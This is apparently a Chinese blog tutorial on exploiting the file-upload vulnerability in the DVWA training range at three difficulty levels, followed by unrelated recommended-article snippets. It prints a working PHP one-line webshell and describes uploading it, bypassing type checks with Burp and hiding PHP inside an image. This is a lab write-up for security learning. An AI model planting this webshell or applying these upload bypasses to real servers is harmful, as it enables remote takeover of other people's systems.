DVWA文件上传_dvwa靶场文件上传图片-程序员宅基地

技术标签: 安全  web安全  php  文件上传  

DVWA文件上传

文件上传漏洞,通常是由于对上传文件的mame类型、没有进行严格的过滤、检查,使得攻击者可以通过上传木马,获取服务器的webshell权限,件上传漏洞带来的危害常常是毁灭性的
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知的。

我们测试的靶场是dvwa,至于怎么搭建可以自行百度。

工具:burp,一句话,靶场环境,蚁剑
在这里插入图片描述

LOW级别漏洞利用

1.创建一个txt文件将<?php @eval($_REQUEST["mima"])?>复制到里面去,然后将后缀名改成php。
2.打开靶场,选择文件
在这里插入图片描述3.点击uplaod上传,
在这里插入图片描述上传成功,http://192.168.80.132/dvwa/hackable/uploads/1.php
密码是:mima
4.打开蚁剑,选择添加数据,复制粘贴以上内容,链接类型选择php
密面是mima
在这里插入图片描述点击添加,添加完成双击访问网站目录、。
在这里插入图片描述Medium级别
1,首先我们将我们之前的一句话木马文件后缀名改成png图片类型,然后选择。在这里插入图片描述3,打开浏览器设置代理,然后确定保存
在这里插入图片描述4,这个时候打开burp,打开抓包。然后点击图1的uplaod进上传,这个时候我们的burp会拦截数据包,我们将图下画圈位置的地方的那个文件后缀名改成php,然后点击forward转发
在这里插入图片描述ok
在这里插入图片描述
这个时候我们已经可以看到已经上传成功了。我们继low级别链接蚁剑的操作,继续操作就可以链接了!==

high级别

1.首先准备一个jpg图片和一个php文件,放在同一个目录下,然后使用copy工具将两个文件捆绑在一起。在这里插入图片描述

_
2.然后打开010查看是否捆绑成功+在这里插入图片描述

可以看出已经捆绑成功了
3.然后打开靶场进行上传。
在这里插入图片描述ok已經上传成功了

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_50211409/article/details/114292264

智能推荐

LLVM学习笔记(33)_selectcodecommon分析-程序员宅基地

文章浏览阅读1.1k次。3.4.4.3.5. OPC_MorphNodeTo等下面的OPC_EmitCopyToReg表示将值拷贝到一个物理寄存器的一个操作,3081行通过目标机器SelectionDAG实例的getCopyToReg()方法在Chain与glue的链上插入CopyToReg的节点。3093行的RunSDNodeXForm()是前面为目标机器生成的执行SDNodeXForm所代表操作的方法。Sel..._selectcodecommon分析

android 生成图片 分享,Android 布局生成分享图片-程序员宅基地

文章浏览阅读419次。package app.makemone.ky.com.testapplication;import android.graphics.Bitmap;import android.graphics.Canvas;import android.os.Environment;import android.util.Log;import android.view.View;import java.io...._android 集成图片生成

【计算机网络】网络通信基础_计算机网络通信基础-程序员宅基地

文章浏览阅读5.1k次,点赞2次,收藏27次。文章目录网络通信基础及网络参考模型网络通信基础网络通信基本概念信息的传递过程数据通信网络基本概念网络设备_计算机网络通信基础

[Python]保姆级win11环境安装Python_[python]保姆级win11环境安装python_魔都吴所谓的博客-csdn博客-程序员宅基地

文章浏览阅读3.5w次,点赞32次,收藏91次。Python环境安装及配置_[python]保姆级win11环境安装python_魔都吴所谓的博客-csdn博客

【通俗易懂】机器学习中 L1 和 L2 正则化的直观解释_正则化参数λ怎么算-程序员宅基地

文章浏览阅读10w+次,点赞180次,收藏908次。L=Ein+λ∑j|wj|L=Ein+λ∑j|wj|L=E_{in}+\lambda\sum_j |w_j|∑jw2j≤C∑jwj2≤C\sum_jw_j^2\leq C∇Ein∇Ein\nabla E_in∇Ein+λw=0∇Ein+λw=0\nabla E_{in}+\lambda w=0∂∂w(12λw2)=λw∂∂w(12λw2)=λw\frac{\partia..._正则化参数λ怎么算

友链-程序员宅基地

文章浏览阅读664次。同届chdystartaidouTyouchieblngmelodyAK-lsmillopeyycdebokegcferBIGBIGPPT神犇zkwbyvoidhzwerPoPoQQQmatrix67yybTangentercdecl学长Cydiaterchty137shoebillsxorexqywytmy_snowingstr..._遗传算法 分组背包

随便推点

SpringBoot学习总结_springbook课程的总结-程序员宅基地

文章浏览阅读2.3k次。目录1、我的第一个SpringBoot项目创建SpringBoot项目如何修改端口号2、SpringBoot自动装配原理3、yaml语法用yaml赋值配置文件占位符结论:4、JSR303数据校验及多环境切换5、整合JDBC,Druid,Mybatis1.整合JDBC2.整合Druid3.整合Mybatis6、SpringSecurity实验环境搭建认识SpringSecurity认证和授权1.引入 Spring Security 模块._springbook课程的总结

win10 新版docker desktop设置国内镜像以及配置Portainer_portainer 国内镜像源-程序员宅基地

文章浏览阅读7.6k次,点赞5次,收藏10次。配置国内镜像源{ "registry-mirrors": [ "https://xxxxxx.mirror.aliyuncs.com", "http://hub-mirror.c.163.com" ], "insecure-registries": [], "debug": true, "experimental": false}第一步查看当前有哪些Portainer镜像docker search portainer2.下载上述镜像中start值最高的_portainer 国内镜像源

头歌实践教学平台数据结构与算法循环链表和双向链表—课上课后练_头歌循环链表和双向链表—课上课后练-程序员宅基地

文章浏览阅读3.3k次。针对数据结构循环链表和双向链表在头歌平台练习过程中的完成代码,仅仅为作者一次通过(可能并未按照题目要求时间复杂度或空间复杂度),仍有较大优化空间,如有其他需求可留言。_头歌循环链表和双向链表—课上课后练

C#系列课程面向对象篇-徐新帅-专题视频课程-程序员宅基地

文章浏览阅读169次。这个是继《C#系列课程之基础知识入门篇》的篇,主要讲解的是C#中面向对象的有关知识,主要有类,接口,继承,多态,构造函数,析构函数,密封类,属性,抽象,结构体,枚举,静态类,部分类等等有关面向对象的专业知识。..._c#进阶 温情亿度

python判断sqlite数据库是否存在_sqlite3 判断数据库是否存在-程序员宅基地

文章浏览阅读3.2k次。IOS---SQLite3使用IOS---SQLite3使用iPhone中支持通过sqlite3来访问本地数据库,SQLite是MySQL精简版,但无需服务器就能运行,它有两个限制:一是必须手动去创建,二是没有面向对象的接口。它的具体用法如下:1.添加开发包libsqlite3.0.dylib:...文章科技小先锋2017-11-14886浏览量swift3.0:sqlite3的使用介绍一、sql..._python 判断是sqlite3 文件

android多级树形列表-程序员宅基地

文章浏览阅读839次,点赞14次,收藏13次。Override} else} else}else{/**checkbox是否显示@param cb*/}else{自定义TreeListViewAdapter 这个是整个树形结构的一个适配器,这里面主要是实现对Node节点的操作 点击,选中改变 更新等/**tree适配器@param*//***//***//***//**处理node click事件*/